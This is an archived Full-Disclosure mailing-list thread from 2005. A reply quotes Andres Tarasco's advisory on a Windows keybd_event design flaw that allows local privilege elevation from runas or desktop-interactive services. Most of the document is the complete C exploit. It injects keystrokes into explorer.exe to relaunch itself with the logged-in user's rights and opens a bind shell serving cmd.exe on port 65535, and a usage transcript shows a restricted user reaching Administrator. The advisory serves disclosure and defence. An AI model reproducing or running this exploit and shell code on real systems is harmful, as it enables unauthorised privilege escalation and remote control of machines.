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Open Source and information security mailing list archives
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Date: Tue Sep 6 18:59:20 2005
From: fcharpen at xmcopartners.com (Frederic Charpentier)
Subject: Microsoft Windows
keybd_event validationvulnerability
the flaw is old, but it's a new exploit code
Debasis Mohanty wrote:
>> > * Due to an invalid keyboard input validation, its possible to send
> keys to any
>> > * application of the Desktop.
>
> Cross-Window access and emulation of key strokes on Windows are pretty
> old stuffs. You can see this in many joke programs and fake virus
> programs. They are there since Win 9x days. I am just wondering how come
> this is something new to you ;-)
>
> Best example for Cross Window exploit is Shatter Attack.
>
> - D
>
>
> ------------------------------------------------------------------------
> *From:* full-disclosure-bounces@...ts.grok.org.uk
> [mailto:full-disclosure-bounces@...ts.grok.org.uk] *On Behalf Of *Andres
> Tarasco
> *Sent:* Monday, September 05, 2005 4:39 PM
> *To:* full-disclosure@...ts.grok.org.uk
> *Subject:* [Full-disclosure] Microsoft Windows keybd_event
> validationvulnerability
>
> Vulnerability: Microsoft Windows keybd_event validation vulnerability.
> Type:......... Design Flaw
> Vendor:....... Microsoft
> Impact:....... Local Privilege Elevation.
> Credits:...... Andr?s Tarasc? ( aT4r @ Haxorcitos.com
> <http://Haxorcitos.com> )
> .......I?aki Lopez ( ilo @ reversing.org
> <http://reversing.org> )
> Timeline:.....
> 8 June 2005 - Vendor Notified.
> 9 June 2005 - First Microsoft Response.
> 8 July 2005 - Microsoft identifies the vulnerability as design flaw
> error. [MSRC 6005bgs]
>
>
> Description:
> ____________
>
> As is Known, with the current Microsoft Security Model, applications
> that share the destkop
> are able to send messages between them.
> Every Desktop application is able to obtain the handle of every process
> executed in the same desktop.
>
> This feature and the possibility of any application to emulate a virtual
> keyboard by sending key strokes,
> allows every process to send messages and keys as if there were an
> interactive user.
>
>
> Attack Scenario:
> ____________________
>
>
> There are at least two known scenerarios that will allow this attack to
> succeed.
>
> - Runas Service allow application execution as if it were launched by
> another user. In some cases, a
> user could execute an untrusted application (like malware) with
> restricted rights by downgrading
> privileges and executing a shell where that suspicious application will
> be executed and tested. This
> application shares the same desktop as all the user applications.
>
> - Every running service with the flag INTERACT_WITH_DESKTOP will be able
> to access user Desktop.
>
>
> attack:
> _______
>
>
> If an attacker is able to gain access to an application executed in any
> of those ways (direct malware
> execution or exploiting a security flaw in that software) by using
> Windows apis (keybd_event or SendKeys)
> he will be able to send keystrokes that will be handled by explorer.exe
> allowing it to execute arbitrary
> code with logged user rights. This attack will allow to bypass security
> restrictions offered by the runas
> Service and elevate privileges.
>
>
> Vendor Response:
> ________________________
>
>
> After talking with MSRC (Microsoft Security Response Center) Microsoft
> have identified this vulnerability as
> a design flaw, where the desktop is the security limit, so there is
> currently no solution because some
> automatic tools and virtual keyboard included in Windows XP would not
> work if this feature did not exist.
>
>
> Solution:
> ____________
>
>
> - Only allow trusted applications to be run as a service with access to
> the desktop.
> - Do not use runas Service in production enviroments.
>
>
> Exploit:
> _________
>
> Exploit code attached:
>
>
> /*
> * Microsoft Windows keybd_event validation vulnerability.
> * Local privilege elevation
> *
> * Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com
> <http://haxorcitos.com> )
> * I?aki Lopez ( ilo _@_ reversing.org
> <http://reversing.org> )
> *
> * Platforms afected/tested:
> *
> * - Windows 2000
> * - Windows XP
> * - Windows 2003
> *
> *
> * Original Advisory: http://www.haxorcitos.com
> * http://www.reversing.org
> *
> * Exploit Date: 08 / 06 / 2005
> *
> * Orignal Advisory:
> * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
> * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
> * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
> *
> * Attack Scenario:
> *
> * a) An attacker who gains access to an unprivileged shell/application
> executed
> * with the application runas.
> * b) An attacker who gains access to a service with flags
> INTERACT_WITH_DESKTOP
> *
> * Impact:
> *
> * Due to an invalid keyboard input validation, its possible to send
> keys to any
> * application of the Desktop.
> * By sending some short-cut keys its possible to execute code and
> elevate privileges
> * getting loggued user privileges and bypass runas/service security
> restriction.
> *
> * Exploit usage:
> *
> * C:\>whoami
> * AQUARIUS\Administrador
> *
> * C:\>runas /user:restricted cmd.exe
> * Enter the password for restricted:
> * Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
> *
> *
> * Microsoft Windows 2000 [Versi?n 5.00.2195]
> * (C) Copyright 1985-2000 Microsoft Corp.
> *
> * C:\WINNT\system32>cd \
> *
> * C:\>whoami
> * AQUARIUS\restricted
> *
> * C:\>tlist.exe |find "explorer.exe"
> * 1140 explorer.exe Program Manager
> *
> * C:\>c:\keybd.exe 1140
> * HANDLE Found. Attacking =)
> *
> * C:\>nc localhost 65535
> * Microsoft Windows 2000 [Versi?n 5.00.2195]
> * (C) Copyright 1985-2000 Microsoft Corp.
> *
> * C:\>whoami
> * whoami
> * AQUARIUS\Administrador
> *
> *
> * DONE =)
> *
> */
>
> #include <stdio.h>
> #include <string.h>
> #include <winsock2.h>
> #pragma comment(lib, "ws2_32.lib")
>
> #define HAXORCITOS 65535
> unsigned int pid = 0;
> char buf[256]="";
>
> /**************************************************************/
> void ExplorerExecution (HWND hwnd, LPARAM lParam){
> DWORD hwndid;
> int i;
>
>
> GetWindowThreadProcessId(hwnd,&hwndid);
>
> if (hwndid == pid){
> /*
> Replace keybd_event with SendMessage() and PostMessage() calls
> */
> printf("HANDLE Found. Attacking =)\n");
> SetForegroundWindow(hwnd);
> keybd_event(VK_LWIN,1,0,0);
> keybd_event(VkKeyScan('r'),1,0,0);
> keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
> keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
> for(i=0;i<strlen(buf);i++) {
> if (buf[i]==':') {
> keybd_event(VK_SHIFT,1,0,0);
> keybd_event(VkKeyScan(buf[i]),1,0,0);
> keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
> keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
> } else {
> if (buf[i]=='\\') {
> keybd_event(VK_LMENU,1,0,0);
> keybd_event(VK_CONTROL,1,0,0);
> keybd_event(VkKeyScan('?'),1,0,0);
> keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
> keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
> keybd_event(VkKeyScan('?'),1,KEYEVENTF_KEYUP,0);
> } else {
> keybd_event(VkKeyScan(buf[i]),1,0,0);
> keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
> }
> }
> }
> keybd_event(VK_RETURN,1,0,0);
> keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
> exit(1);
> }
> }
> /**************************************************************/
>
> int BindShell(void) { //Bind Shell. POrt 65535
>
> SOCKET s,s2;
> STARTUPINFO si;
> PROCESS_INFORMATION pi;
> WSADATA HWSAdata;
> struct sockaddr_in sa;
> int len;
>
> if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
> if
> ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
> exit(1); }
>
> sa.sin_family = AF_INET;
> sa.sin_port = (USHORT)htons(HAXORCITOS);
> sa.sin_addr.s_addr = htonl(INADDR_ANY);
> len=sizeof(sa);
> if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR )
> { return(-1); }
> if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
> s2 = accept(s,(struct sockaddr *)&sa,&len);
> closesocket(s);
>
> ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
> si.cb = sizeof(si);
> si.wShowWindow = SW_HIDE;
> si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
> si.hStdInput = (void *) s2; // SOCKET
> si.hStdOutput = (void *) s2;
> si.hStdError = (void *) s2;
> if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE,
> 0,NULL,NULL,&si,&pi)) {
> doFormatMessage(GetLastError());
> return(-1);
> }
>
> WaitForSingleObject( pi.hProcess, INFINITE );
> closesocket(s);
> closesocket(s2);
> printf("SALIMOS...\n");
> Sleep(5000);
> return(1);
>
>
> }
> /**************************************************************/
> void main(int argc, char* argv[])
> {
> HWND console_wnd = NULL;
>
> if (argc >= 2) {
> pid = atoi (argv[1]);
> strncpy(buf,argv[0],sizeof(buf)-1);
> EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
> } else {
> BindShell();
> }
> }
> /**************************************************************/
>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
--
Frederic Charpentier - Xmco Partners
Security Consulting / Pentest
web : http://www.xmcopartners.com
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